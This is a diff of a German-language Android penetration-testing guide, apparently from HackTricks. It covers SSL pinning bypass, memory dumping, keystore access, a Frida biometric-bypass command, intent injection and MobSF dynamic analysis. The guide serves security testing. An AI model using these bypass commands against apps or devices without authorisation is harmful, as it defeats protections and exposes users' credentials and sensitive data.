* Du könntest **Frida** verwenden (unten diskutiert), um diesen Schutz zu umgehen. Hier findest du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Du kannst auch versuchen, SSL Pinning automatisch mit [**objection**](frida-tutorial/objection-tutorial.md)** zu umgehen:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Du kannst auch versuchen, SSL Pinning automatisch mit **MobSF Dynamic Analysis** zu umgehen (unten erklärt)
|
||||
* Wenn du immer noch der Meinung bist, dass du bestimmten Verkehr nicht erfasst, kannst du versuchen, den Verkehr mit iptables an Burp weiterzuleiten. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
* Automatisches **Ändern** der **APK**, um das SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass Sie kein Root benötigen, um das SSL Pinning zu umgehen, aber Sie müssen die Anwendung löschen und die neue installieren, und dies funktioniert nicht immer.
|
||||
* Sie könnten **Frida** (unten diskutiert) verwenden, um diesen Schutz zu umgehen. Hier finden Sie eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Sie können auch versuchen, das **SSL Pinning automatisch zu umgehen**, indem Sie [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` verwenden
|
||||
* Sie können auch versuchen, das **SSL Pinning automatisch zu umgehen**, indem Sie die **MobSF-Dynamikanalyse** (unten erklärt) verwenden
|
||||
* Wenn Sie immer noch der Meinung sind, dass es Verkehr gibt, den Sie nicht erfassen, können Sie versuchen, den Verkehr an Burp weiterzuleiten, indem Sie iptables verwenden. Lesen Sie diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Suche nach gängigen Web-Schwachstellen
|
||||
|
||||
Es ist auch wichtig, nach gängigen Web-Schwachstellen in der Anwendung zu suchen. Detaillierte Informationen zur Identifizierung und Behebung dieser Schwachstellen gehen über den Rahmen dieser Zusammenfassung hinaus, sind jedoch an anderer Stelle umfassend behandelt.
|
||||
Es ist auch wichtig, nach gängigen Web-Schwachstellen in der Anwendung zu suchen. Detaillierte Informationen zur Identifizierung und Behebung dieser Schwachstellen sind über den Rahmen dieser Zusammenfassung hinaus umfassend abgedeckt.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungstoolkit für Entwickler, Reverse-Engineers und Sicherheitsforscher.\
|
||||
**Du kannst auf die laufende Anwendung zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
|
||||
Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet.
|
||||
**Sie können auf die laufende Anwendung zugreifen und Methoden zur Laufzeit anhaken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
|
||||
Wenn Sie Android-Anwendungen pentesten möchten, müssen Sie wissen, wie man Frida verwendet.
|
||||
|
||||
* Erfahre, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/)
|
||||
* Einige "GUI"-Tools für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
* Lernen Sie, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/)
|
||||
* Einige "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
* Ojection ist großartig, um die Verwendung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
* Du findest einige großartige Frida-Skripte hier: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
* Hier finden Sie einige großartige Frida-Skripte: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
### **Speicher dumpen - Fridump**
|
||||
|
||||
Überprüfe, ob die Anwendung sensible Informationen im Speicher speichert, die dort nicht gespeichert werden sollten, wie z.B. Passwörter oder Mnemonics.
|
||||
Überprüfen Sie, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder Mnemonics.
|
||||
|
||||
Mit [**Fridump3**](https://github.com/rootbsd/fridump3) kannst du den Speicher der App dumpen mit:
|
||||
Mit [**Fridump3**](https://github.com/rootbsd/fridump3) können Sie den Speicher der App dumpen mit:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
|
@ -489,7 +486,7 @@ python3 fridump3.py -u <PID>
|
|||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Dies wird den Speicher im Ordner ./dump ablegen, und dort können Sie mit etwas wie folgt suchen:
|
||||
Dies wird den Speicher im ./dump-Ordner ablegen, und dort könnten Sie mit etwas wie folgt grep durchführen:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -499,19 +496,17 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Sensitive Daten im Keystore**
|
||||
|
||||
Im Android-Betriebssystem ist der Keystore der beste Ort, um sensible Daten zu speichern. Allerdings ist es mit ausreichenden Berechtigungen immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten Pentests dies überprüfen, da ein Benutzer mit Root-Zugriff oder physischem Zugriff auf das Gerät in der Lage sein könnte, diese Daten zu stehlen.
|
||||
In Android ist der Keystore der beste Ort, um sensible Daten zu speichern, jedoch ist es mit ausreichenden Berechtigungen immer noch **möglich darauf zuzugreifen**. Da Apps dazu neigen, hier **sensible Daten im Klartext zu speichern**, sollten Pentests darauf prüfen, da Root-Benutzer oder Personen mit physischem Zugriff auf das Gerät in der Lage sein könnten, diese Daten zu stehlen.
|
||||
|
||||
Selbst wenn eine App Daten im Keystore speichert, sollten diese verschlüsselt sein.
|
||||
Auch wenn eine App Daten im Keystore speichert, sollten die Daten verschlüsselt sein.
|
||||
|
||||
Um auf die Daten im Keystore zuzugreifen, können Sie dieses Frida-Skript verwenden: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Um auf die Daten im Keystore zuzugreifen, könnten Sie dieses Frida-Skript verwenden: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrie umgehen**
|
||||
### **Fingerabdruck/Biometrie-Umgehung**
|
||||
|
||||
Mit dem folgenden Frida-Skript könnte es möglich sein, die Fingerabdruck-Authentifizierung zu umgehen, die Android-Anwendungen möglicherweise durchführen, um bestimmte sensible Bereiche zu schützen:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Mithilfe des folgenden Frida-Skripts könnte es möglich sein, die **Fingerabdruckauthentifizierung** zu umgehen, die Android-Apps möglicherweise durchführen, um **bestimmte sensible Bereiche zu schützen:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
|
@ -519,56 +514,57 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **Hintergrundbilder**
|
||||
|
||||
Wenn Sie eine Anwendung im Hintergrund platzieren, speichert Android eine **Momentaufnahme der Anwendung**, sodass beim Wiederherstellen im Vordergrund das Bild vor der App geladen wird, sodass es so aussieht, als ob die App schneller geladen wurde.
|
||||
Wenn Sie eine Anwendung im Hintergrund platzieren, speichert Android eine **Momentaufnahme der Anwendung**, sodass beim Wiederherstellen in den Vordergrund das Bild geladen wird, bevor die App geladen wird, sodass es aussieht, als ob die App schneller geladen wurde.
|
||||
|
||||
Wenn diese Momentaufnahme jedoch **sensible Informationen** enthält, kann jemand mit Zugriff auf die Momentaufnahme diese Informationen **stehlen** (beachten Sie, dass Sie Root-Zugriff benötigen, um darauf zuzugreifen).
|
||||
Wenn diese Momentaufnahme jedoch **sensible Informationen** enthält, könnte jemand, der Zugriff auf die Momentaufnahme hat, diese Informationen **stehlen** (beachten Sie, dass Sie Root-Zugriff benötigen, um darauf zuzugreifen).
|
||||
|
||||
Die Momentaufnahmen werden normalerweise unter **`/data/system_ce/0/snapshots`** gespeichert.
|
||||
|
||||
Android bietet eine Möglichkeit, **das Erfassen von Bildschirmfotos zu verhindern, indem der FLAG\_SECURE-Layoutparameter festgelegt wird**. Durch Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, sodass sie nicht in Bildschirmfotos angezeigt oder auf nicht sicheren Displays angezeigt werden können.
|
||||
Android bietet eine Möglichkeit, **das Erfassen von Bildschirmfotos zu verhindern, indem der FLAG\_SECURE** Layout-Parameter festgelegt wird. Durch Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, sodass sie nicht in Bildschirmfotos erscheinen oder auf nicht sicheren Displays angezeigt werden können.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Android Application Analyzer**
|
||||
### **Android-Anwendungsanalysator**
|
||||
|
||||
Dieses Tool kann Ihnen helfen, verschiedene Tools während der dynamischen Analyse zu verwalten: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
|
||||
Dieses Tool könnte Ihnen helfen, verschiedene Tools während der dynamischen Analyse zu verwalten: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
|
||||
|
||||
### Intent-Injection
|
||||
### Intent-Injektion
|
||||
|
||||
Entwickler erstellen oft Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Receiver, die diese Intents verarbeiten und sie an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
|
||||
Entwickler erstellen oft Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Empfänger, die diese Intents verarbeiten und sie an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
|
||||
|
||||
Die Gefahr besteht darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem sie diese Intents umleiten. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs über `Intent.parseUri(...)` in `Intent`-Objekte umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injections führen kann.
|
||||
Die Gefahr besteht darin, dass Angreifer nicht exportierte App-Komponenten auslösen oder auf sensible Inhaltsanbieter zugreifen können, indem sie diese Intents umleiten. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs über `Intent.parseUri(...)` in `Intent`-Objekte umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
|
||||
|
||||
### Wesentliche Erkenntnisse
|
||||
- **Intent-Injection** ist ähnlich wie das Open-Redirect-Problem im Web.
|
||||
- Exploits beinhalten das Weitergeben von `Intent`-Objekten als Extras, die umgeleitet werden können, um unsichere Operationen auszuführen.
|
||||
- Es kann nicht exportierte Komponenten und Content-Provider für Angreifer freigeben.
|
||||
- Die Umwandlung von URLs in `Intent` durch `WebView` kann unbeabsichtigte Aktionen erleichtern.
|
||||
### Wichtige Erkenntnisse
|
||||
|
||||
* **Intent-Injektion** ähnelt dem Open-Redirect-Problem im Web.
|
||||
* Exploits beinhalten das Weiterleiten von `Intent`-Objekten als Extras, die zu unsicheren Operationen führen können.
|
||||
* Es kann nicht exportierte Komponenten und Inhaltsanbieter für Angreifer freilegen.
|
||||
* Die Umwandlung von URLs in `Intent` durch `WebView` kann unbeabsichtigte Aktionen erleichtern.
|
||||
|
||||
### Android-Client-seitige Injektionen und andere
|
||||
|
||||
Sie kennen wahrscheinlich diese Art von Schwachstellen aus dem Web. Sie müssen bei einer Android-Anwendung besonders vorsichtig sein:
|
||||
|
||||
* **SQL-Injection:** Bei der Arbeit mit dynamischen Abfragen oder Content-Providern stellen Sie sicher, dass Sie parametrisierte Abfragen verwenden.
|
||||
* **JavaScript-Injection (XSS):** Überprüfen Sie, ob JavaScript- und Plugin-Unterstützung für WebViews deaktiviert ist (standardmäßig deaktiviert). [Weitere Informationen hier](webview-attacks.md#javascript-enabled).
|
||||
* **SQL-Injektion:** Bei der Arbeit mit dynamischen Abfragen oder Content-Providern stellen Sie sicher, dass Sie parametrisierte Abfragen verwenden.
|
||||
* **JavaScript-Injektion (XSS):** Stellen Sie sicher, dass JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Weitere Informationen hier](webview-attacks.md#javascript-enabled).
|
||||
* **Lokale Dateieinschließung:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig aktiviert) - `(webview.getSettings().setAllowFileAccess(false);)`. [Weitere Informationen hier](webview-attacks.md#javascript-enabled).
|
||||
* **Ewige Cookies**: In mehreren Fällen wird das Cookie nicht widerrufen, wenn die Android-Anwendung die Sitzung beendet, oder es könnte sogar auf der Festplatte gespeichert sein.
|
||||
* [**Secure-Flag** in Cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
* **Ewige Cookies:** In mehreren Fällen wird das Cookie nicht widerrufen, wenn die Android-Anwendung die Sitzung beendet, oder es könnte sogar auf der Festplatte gespeichert sein.
|
||||
* [**Sicheres Flag** in Cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)-Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
|
||||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
|
||||
|
||||
**Hacking Insights**\
|
||||
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.
|
||||
**Hacking-Einblicke**\
|
||||
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
|
||||
|
||||
**Echtzeit-Hack-News**\
|
||||
Bleiben Sie mit den aktuellen Nachrichten und Einblicken aus der schnelllebigen Hacking-Welt auf dem Laufenden.
|
||||
Bleiben Sie mit der schnelllebigen Welt des Hackens durch Echtzeitnachrichten und Einblicke auf dem Laufenden
|
||||
|
||||
**Neueste Ankündigungen**\
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert
|
||||
|
||||
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
|
||||
|
||||
|
@ -580,52 +576,51 @@ Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates infor
|
|||
|
||||
![](<../../.gitbook/assets/image (61).png>)
|
||||
|
||||
**Bewertung der Schwachstellen der Anwendung** mit einer benutzerfreundlichen webbasierten Oberfläche. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
|
||||
**Vulnerabilitätsbewertung der Anwendung** mit einem benutzerfreundlichen webbasierten Frontend. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Beachten Sie, dass MobSF **Android** (apk), **IOS** (ipa) und **Windows** (apx) Anwendungen analysieren kann (_Windows-Anwendungen müssen von einem auf einem Windows-Host installierten MobSF analysiert werden_).\
|
||||
Außerdem kann MobSF auch eine Analyse durchführen, wenn Sie eine **ZIP**-Datei mit dem Quellcode einer **Android**- oder **IOS**-App erstellen (gehen Sie zum Stammverzeichnis der Anwendung, wählen Sie alles aus und erstellen Sie eine ZIP-Datei).
|
||||
Beachten Sie, dass MobSF **Android**(apk), IOS**(ipa) und Windows**(apx)-Anwendungen analysieren kann (_Windows-Anwendungen müssen von einem auf einem Windows-Host installierten MobSF analysiert werden_).\
|
||||
Wenn Sie außerdem eine **ZIP**-Datei mit dem Quellcode einer **Android**- oder einer **IOS**-App erstellen (gehen Sie zum Stammverzeichnis der Anwendung, wählen Sie alles aus und erstellen Sie eine ZIP-Datei), kann sie auch analysiert werden.
|
||||
|
||||
MobSF ermöglicht auch den Vergleich von Analysen und die Integration von **VirusTotal** (Sie müssen Ihren API-Schlüssel in _MobSF/settings.py_ festlegen und aktivieren: `VT_ENABLED = TRUE` `VT_API_KEY = <Ihr API-Schlüssel>` `VT_UPLOAD = TRUE`). Sie können auch `VT_UPLOAD` auf `False` setzen, dann wird der **Hash-Wert** anstelle der Datei hochgeladen.
|
||||
MobSF ermöglicht auch das **Diff/Vergleichen** von Analysen und die Integration von **VirusTotal** (Sie müssen Ihren API-Schlüssel in _MobSF/settings.py_ festlegen und aktivieren: `VT_ENABLED = TRUE` `VT_API_KEY = <Ihr API-Schlüssel>` `VT_UPLOAD = TRUE`). Sie können auch `VT_UPLOAD` auf `False` setzen, dann wird der **Hash** anstelle der Datei **hochgeladen**.
|
||||
|
||||
### Unterstützte dynamische Analyse mit MobSF
|
||||
|
||||
MobSF kann auch bei der **dynamischen Analyse** in **Android** sehr hilfreich sein, aber in diesem Fall müssen Sie MobSF und **Genymotion** auf Ihrem Host installieren (eine VM oder Docker funktionieren nicht). _Hinweis: Sie müssen zuerst eine VM in Genymotion starten und dann MobSF starten._
|
||||
**MobSF** kann auch bei der **dynamischen Analyse** in **Android** sehr hilfreich sein, aber in diesem Fall müssen Sie MobSF und **Genymotion** auf Ihrem Host installieren (eine VM oder Docker funktionieren nicht). _Hinweis: Sie müssen zuerst eine VM in Genymotion **starten** und **dann MobSF** ausführen._\
|
||||
Der **MobSF-Dynamikanalysator** kann:
|
||||
|
||||
Der **MobSF Dynamic Analyzer** kann Folgendes tun:
|
||||
|
||||
* Anwendungsdaten (URLs, Protokolle, Zwischenablage, von Ihnen erstellte Screenshots, von "**Exported Activity Tester**" erstellte Screenshots, E-Mails, SQLite-Datenbanken, XML-Dateien und andere erstellte Dateien) **dumpen**. All dies geschieht automatisch, außer für die Screenshots. Sie müssen auf die Schaltfläche drücken, wenn Sie einen Screenshot machen möchten, oder Sie müssen "**Exported Activity Tester**" drücken, um Screenshots aller exportierten Aktivitäten zu erhalten.
|
||||
* **HTTPS-Verkehr** erfassen
|
||||
* **Anwendungsdaten ausgeben** (URLs, Protokolle, Zwischenablage, von Ihnen erstellte Screenshots, von "**Exported Activity Tester**" erstellte Screenshots, E-Mails, SQLite-Datenbanken, XML-Dateien und andere erstellte Dateien). All dies erfolgt automatisch, außer den Screenshots, die Sie machen müssen, wenn Sie einen Screenshot wünschen, oder Sie müssen "**Exported Activity Tester**" drücken, um Screenshots aller exportierten Aktivitäten zu erhalten.
|
||||
* HTTPS-Verkehr erfassen
|
||||
* **Frida** verwenden, um **Laufzeitinformationen** zu erhalten
|
||||
|
||||
Ab Android-Versionen > 5 wird Frida automatisch gestartet und die globalen **Proxy**-Einstellungen werden so konfiguriert, dass der Verkehr erfasst wird. Es wird nur der Verkehr von der getesteten Anwendung erfasst.
|
||||
Ab Android **Versionen > 5** wird **Frida automatisch gestartet** und die globalen **Proxy**-Einstellungen werden so konfiguriert, dass der Verkehr **erfasst** wird. Es wird nur der Verkehr aus der getesteten Anwendung erfasst.
|
||||
|
||||
**Frida**
|
||||
|
||||
Standardmäßig werden auch einige Frida-Skripte verwendet, um **SSL-Pinning**, **Root-Erkennung** und **Debugger-Erkennung** zu umgehen und interessante APIs zu überwachen.\
|
||||
MobSF kann auch exportierte Aktivitäten aufrufen, Screenshots davon erstellen und für den Bericht speichern.
|
||||
Standardmäßig werden auch einige Frida-Skripte verwendet, um **SSL-Pinning**, **Root-Erkennung** und **Debugger-Erkennung** zu **umgehen** und interessante APIs zu **überwachen**.\
|
||||
MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon aufnehmen und für den Bericht **speichern**.
|
||||
|
||||
Um den dynamischen Test zu starten, drücken Sie die grüne Schaltfläche "**Start Instrumentation**". Drücken Sie "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle anzuzeigen, und "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies erscheint nach dem Drücken von "Start Instrumentation").\
|
||||
MobSF ermöglicht es Ihnen auch, Ihre eigenen Frida-Skripte zu laden (um die Ergebnisse Ihrer Frida-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es hat auch mehrere vordefinierte Skripte, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen). Wählen Sie sie einfach aus, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte im "**Frida Live Logs**" sehen).
|
||||
Um mit dem dynamischen Testen zu **beginnen**, drücken Sie die grüne Schaltfläche "**Start Instrumentation**". Drücken Sie auf "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und auf "**Live API Monitor**", um alle Aufrufe an gehakte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies erscheint nach dem Drücken von "Start Instrumentation").\
|
||||
MobSF ermöglicht es Ihnen auch, Ihre eigenen **Frida-Skripte** zu laden (um die Ergebnisse Ihrer Friday-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es verfügt auch über **mehrere vordefinierte Skripte**, die Sie laden können (Sie können weitere unter `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wählen Sie sie einfach aus, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte im "**Frida Live Logs**" sehen).
|
||||
|
||||
![](<../../.gitbook/assets/image (215).png>)
|
||||
|
||||
Darüber hinaus verfügen Sie über einige Hilfsfunktionen von Frida:
|
||||
Darüber hinaus verfügen Sie über einige Hilfs-Frida-Funktionen:
|
||||
|
||||
* **Enumerate Loaded Classes**: Es werden alle geladenen Klassen angezeigt
|
||||
* **Capture Strings**: Es werden alle erfassten Zeichenfolgen während der Verwendung der Anwendung angezeigt (sehr laut)
|
||||
* **Capture String Comparisons**: Kann sehr nützlich sein. Es zeigt die beiden verglichenen Zeichenfolgen und ob das Ergebnis True oder False war.
|
||||
* **Enumerate Class Methods**: Geben Sie den Klassennamen ein (z. B. "java.io.File") und es werden alle Methoden der Klasse angezeigt.
|
||||
* **Search Class Pattern**: Klassen nach Muster suchen
|
||||
* **Trace Class Methods**: Eine ganze Klasse verfolgen (Eingaben und Ausgaben aller Methoden der Klasse anzeigen). Beachten Sie, dass MobSF standardmäßig mehrere interessante Android-API-Methoden verfolgt.
|
||||
* **Klassen auflisten**: Es werden alle geladenen Klassen angezeigt
|
||||
* **Zeichenfolgen erfassen**: Es werden alle erfassten Zeichenfolgen beim Verwenden der Anwendung angezeigt (sehr laut)
|
||||
* **Zeichenfolgenvergleiche erfassen**: Kann sehr nützlich sein. Es zeigt die 2 verglichenen Zeichenfolgen und ob das Ergebnis True oder False war.
|
||||
* **Methoden der Klasse auflisten**: Geben Sie den Klassennamen ein (wie "java.io.File") und es werden alle Methoden der Klasse angezeigt.
|
||||
* **Klassenmuster suchen**: Klassen nach Muster suchen
|
||||
* **Klassenmethoden verfolgen**: Eine **ganze Klasse** verfolgen (Eingaben und Ausgaben aller Methoden der Klasse anzeigen). Denken Sie daran, dass MobSF standardmäßig mehrere interessante Android-API-Methoden verfolgt.
|
||||
|
||||
Sobald Sie das Hilfsmodul ausgewählt haben, das Sie verwenden möchten, müssen Sie auf "**Start Intrumentation**" drücken und Sie sehen alle Ausgaben im "**Frida Live Logs**".
|
||||
Sobald Sie das Hilfsmodul ausgewählt haben, das Sie verwenden möchten, müssen Sie auf "**Start Intrumentation**" drücken, und Sie sehen alle Ausgaben in "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf bietet Ihnen auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell-Befehlen** am Ende der Seite für die dynamische Analyse. Einige interessante Befehle:
|
||||
Mobsf bietet auch eine Shell mit einigen **adb**-Befehlen, **MobSF-Befehlen** und gängigen **Shell-Befehlen** am unteren Rand der Seite für die dynamische Analyse. Einige interessante Befehle:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
|
@ -636,13 +631,13 @@ receivers
|
|||
```
|
||||
**HTTP-Tools**
|
||||
|
||||
Wenn der HTTP-Verkehr erfasst wird, können Sie eine unansehnliche Ansicht des erfassten Verkehrs am unteren Rand von "**HTTP(S)-Traffic**" sehen oder eine schönere Ansicht in der grünen Schaltfläche "**Start HTTPTools**". Mit der zweiten Option können Sie die erfassten Anfragen an Proxies wie Burp oder Owasp ZAP **senden**.\
|
||||
Um dies zu tun, _schalten Sie Burp ein -->_ _schalten Sie Intercept aus --> in MobSB HTTPTools wählen Sie die Anfrage_ --> drücken Sie "**Send to Fuzzer**" --> _wählen Sie die Proxy-Adresse_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Wenn HTTP-Verkehr erfasst wird, können Sie eine unansehnliche Ansicht des erfassten Verkehrs am unteren Rand von "**HTTP(S) Traffic**" oder eine schönere Ansicht im grünen Bereich von "**Start HTTPTools**" sehen. Mit der zweiten Option können Sie die erfassten Anfragen an Proxies wie Burp oder Owasp ZAP **senden**.\
|
||||
Um dies zu tun, _schalten Sie Burp ein -->_ _schalten Sie Intercept aus --> in MobSB HTTPTools wählen Sie die Anfrage aus_ --> drücken Sie "**An Fuzzer senden**" --> _wählen Sie die Proxy-Adresse_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Nach Abschluss der dynamischen Analyse mit MobSF können Sie auf "**Start Web API Fuzzer**" drücken, um HTTP-Anfragen zu **fuzz**en und nach Schwachstellen zu suchen.
|
||||
Nach Abschluss der dynamischen Analyse mit MobSF können Sie auf "**Start Web API Fuzzer**" drücken, um HTTP-Anfragen zu **fuzz** und nach Schwachstellen zu suchen.
|
||||
|
||||
{% hint style="info" %}
|
||||
Nach Durchführung einer dynamischen Analyse mit MobSF können die Proxy-Einstellungen fehlerhaft sein und Sie können sie nicht über die GUI beheben. Sie können die Proxy-Einstellungen wie folgt beheben:
|
||||
Nach Durchführung einer dynamischen Analyse mit MobSF können die Proxy-Einstellungen falsch konfiguriert sein und Sie können sie nicht über die GUI beheben. Sie können die Proxy-Einstellungen wie folgt beheben:
|
||||
```
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
|
@ -651,18 +646,17 @@ adb shell settings put global http_proxy :0
|
|||
### Unterstützte dynamische Analyse mit Inspeckage
|
||||
|
||||
Sie können das Tool von [**Inspeckage**](https://github.com/ac-pm/Inspeckage) erhalten.\
|
||||
Dieses Tool verwendet einige **Hooks**, um Sie darüber zu informieren, **was in der Anwendung passiert**, während Sie eine **dynamische Analyse** durchführen.
|
||||
|
||||
Dieses Tool verwendet einige **Hooks**, um Ihnen mitzuteilen, **was in der Anwendung passiert**, während Sie eine **dynamische Analyse** durchführen.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Dies ist ein **großartiges Tool zur Durchführung statischer Analyse mit einer GUI**
|
||||
Dies ist ein **großartiges Tool zur Durchführung einer statischen Analyse mit einer grafischen Benutzeroberfläche**
|
||||
|
||||
![](<../../.gitbook/assets/image (527).png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Schwachstellen in Android-Anwendungen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, eine "Proof-of-Concept" bereitstellbare APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
|
||||
